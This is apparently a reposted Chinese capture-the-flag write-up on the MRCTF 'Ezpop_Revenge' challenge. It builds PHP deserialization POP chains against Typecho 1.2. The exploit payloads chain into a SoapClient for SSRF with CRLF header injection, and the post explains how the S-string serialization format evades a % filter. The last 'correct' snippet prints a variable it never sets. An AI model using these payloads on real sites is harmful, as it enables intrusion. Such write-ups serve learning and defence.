MRCTF Ezpop_Revenge小记
阅读原文时间:2023年07月09日阅读:1

前言

一道typecho1.2的反序列化,顺便记录一下踩的坑

www.zip获得源码,结构大致如下

flag.php需要ssrf,如果成功会写入session

拿到源码直接去网上先找了一下有没有现成的payload(懒,

找到一篇类似的

https://p0sec.net/index.php/archives/114/

但是入口点是install.php,而源码里的install.php已经被删掉了,全局搜索一下:

路径为usr/plugins/HelloWorld/Plugin.php

很明显这里就是反序列化的点了,但是这里是一个方法不能直接利用,然后鸽了半天,后来才知道有个定义的路由==

typecho\plugin.php下:

Helper::addRoute("page_admin_action","/page_admin","HelloWorld_Plugin",'action');

首先看到这里:

很明显的入口点,跟进Typecho_Db::__construct

然后这里有一个字符拼接,于是我就按照上面那文章的思路找__tostring (接下来是踩坑)

踩坑

Feed.php下的tostring的358行

并且跟不过去,那么就可以找__get

Request.php

跟进

跟进_applyFilter

value由this->_params['screenName']决定可控,$_filter也可控,rce??(嘴角疯狂上扬)

于是我构造了如下pop链:

<?php
class HelloWorld_DB{
    private $coincidence;
    public function __construct(){
        $this->coincidence=(['hello'=>new Typecho_Feed(),'world'=>'typecho_']);
        var_dump($this->coincidence);
    }
    function  __wakeup(){
        $db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);
    }
}
class Typecho_Db
{
    public function __construct($adapterName, $prefix = 'typecho_')
    {
        $adapterName = 'Typecho_Db_Adapter_' . $adapterName;
    }
}
class Typecho_Feed
{
    private $_type = 'ATOM 1.0';
    private $_charset = 'UTF-8';
    private $_lang = 'zh';
    private $_items = array();
    public function __construct(){
        $this->_items=array('author' => new Typecho_Request());
    }
}
class Typecho_Request{
    private $_filter=array();
    private $_params=array();
    public function __construct()
    {
        $this->_params['screenName'] = -1;
        $this->_filter = array('phpinfo');
    }
}
$a=new HelloWorld_DB();
echo base64_encode(serialize($a));

然而这里函数过滤实在太多了,命令执行的函数几乎全过滤了,然后我就一直试,比赛结束也没试出来…(这个pop链貌似适用typecho1.1版本)

麻烦的解法(踩坑二)

后来我突然想到要是能rce为什么还有ssrf读flag….

好吧其实一开始__tostring我就找错了,应该找query.php这个跳板

可以看到如果$this->_sqlPreBuild['action']=SELECT就调用:

$this->_adapter->parseSelect($this->_sqlPreBuild)

然后令$this->_adapter为Soapclient实例,触发_call完成ssrf

调用链:

HelloWorld_DB::wakeup-->

Typecho_Db::__construct(tostring)-->

Typecho_Db_Query::__construct-->

(this->_adapter=new Soapclient)-->

ssrf

然后又是一个坑:

这里的成员变量大部分都是private的,而private有不可见字符需要用%00填充,而这里%是被过滤的:

然后就需要用\00来代替%00

这里有个知识点吧,以前没碰到过:

在 PHP5 最新的 CVS 中,

新的序列化方式叫做 escaped binary string 方式,这是相对与普通那种 non-escaped binary string 方式来说的:

string 型数据(字符串)新的序列化格式为:

S:"":"";

其中 是源字符串的长度,而非 的长度。 是非负整数,数字前可以带有正号(+)。 为经过转义之后的字符串。

它的转义编码很简单,对于 ASCII 码小于 128 的字符(但不包括 \),按照单个字节写入(与 s 标识的相同),对于 128~255 的字符和 \ 字符,则将其 ASCII 码值转化为 16 进制编码的字符串,以 \ 作为开头,后面两个字节分别是这个字符的 16 进制编码,顺序按照由高位到低位排列,也就是第 8-5 位所对应的16进制数字字符(abcdef 这几个字母是小写)作为第一个字节,第 4-1 位作为第二个字节。依次编码下来,得到的就是 的内容了。

普通的序列化小s对应的就是普通的字符串,如s:3:"%00a%00";

而序列化的大S则对应的是\加上16进制,如S:2:"\00a\00";

看个例子

将不可见字符%00转化为十六进制,大S成功执行wakeup

小写s则失败

然后这里就需要将%统统转化为\,然后将标识字符串的s转化为S,这里用了颖奇师傅的方法:https://www.gem-love.com/ctf/2184.html#Ezpop_Revenge

function decorate($str)
{
    $arr = explode(':', $str);
    $newstr = '';
    for ($i = 0; $i < count($arr); $i++) {
        if (preg_match('/00/', $arr[$i])) {
            $arr[$i-2] = preg_replace('/s/', "S", $arr[$i-2]);
        }
    }
    $i = 0;
    for (; $i < count($arr) - 1; $i++) {
        $newstr .= $arr[$i];
        $newstr .= ":";
    }
    $newstr .= $arr[$i];
    return $newstr;
}

将字符串以:冒号打散为数组,然后遍历用$arr[$i]匹配每个00,如果$arr[$i-2]中有小s就替换为S,然后以:拼接,看下面这个例子就懂了

最终payload:

<?php
class HelloWorld_DB{
    private $coincidence;
    public function __construct(){
        $this->coincidence=(['hello'=>new Typecho_Db_Query(),'world'=>'typecho_']);
    }
}
class Typecho_Db
{
    public function __construct($adapterName, $prefix = 'typecho_')
    {
        $adapterName = 'Typecho_Db_Adapter_' . $adapterName;
    }
}
class Typecho_Db_Query
{
    private $_sqlPreBuild;
    private $_adapter;
    public function __construct(){
        $this->_sqlPreBuild['action']='SELECT';
        $target = "http://127.0.0.1/flag.php";
        $headers = array(
    'Cookie: PHPSESSID=ardpjpq1hqbu1nn6bhm2pc51v6',
);
        $this->_adapter=new SoapClient(
            null,
            array('location' => $target,
                'user_agent'=>str_replace('^^', "\r\n",'w4nder^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers)),'uri'=>'hello'));
    }

}
function decorate($str)
{
    $arr = explode(':', $str);
    $newstr = '';
    for ($i = 0; $i < count($arr); $i++) {
        if (preg_match('/00/', $arr[$i])) {
            $arr[$i-2] = preg_replace('/s/', "S", $arr[$i-2]);
        }
    }
    $i = 0;
    for (; $i < count($arr) - 1; $i++) {
        $newstr .= $arr[$i];
        $newstr .= ":";
    }
    $newstr .= $arr[$i];
    return $newstr;
}
$a=serialize(new HelloWorld_DB());
$a = urlencode($a);
$a = preg_replace('/%00/', '%5c%30%30', $a);
$a = decorate(urldecode($a));
echo base64_encode($a);

加上一个?admin=1即可

正解

我又傻了,这里的serialize会进行base64编码,然而解码出来是这样的:

根本就没有%号啊,那就不用替换了,所以直接:

<?php
class HelloWorld_DB{
    private $coincidence;
    public function __construct(){
        $this->coincidence=(['hello'=>new Typecho_Db_Query(),'world'=>'typecho_']);
    }
}
class Typecho_Db
{
    public function __construct($adapterName, $prefix = 'typecho_')
    {
        $adapterName = 'Typecho_Db_Adapter_' . $adapterName;
    }
}
class Typecho_Db_Query
{
    private $_sqlPreBuild;
    private $_adapter;
    public function __construct(){
        $this->_sqlPreBuild['action']='SELECT';
        $target = "http://127.0.0.1/flag.php";
        $headers = array(
    'Cookie: PHPSESSID=ardpjpq1hqbu1nn6bhm2pc51v6',
);
        $this->_adapter=new SoapClient(
            null,
            array('location' => $target,
                'user_agent'=>str_replace('^^', "\r\n",'w4nder^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers)),'uri'=>'hello'));
    }

}
serialize(new HelloWorld_DB());
echo base64_encode($a);

手机扫一扫

移动阅读更方便

阿里云服务器
腾讯云服务器
七牛云服务器

你可能感兴趣的文章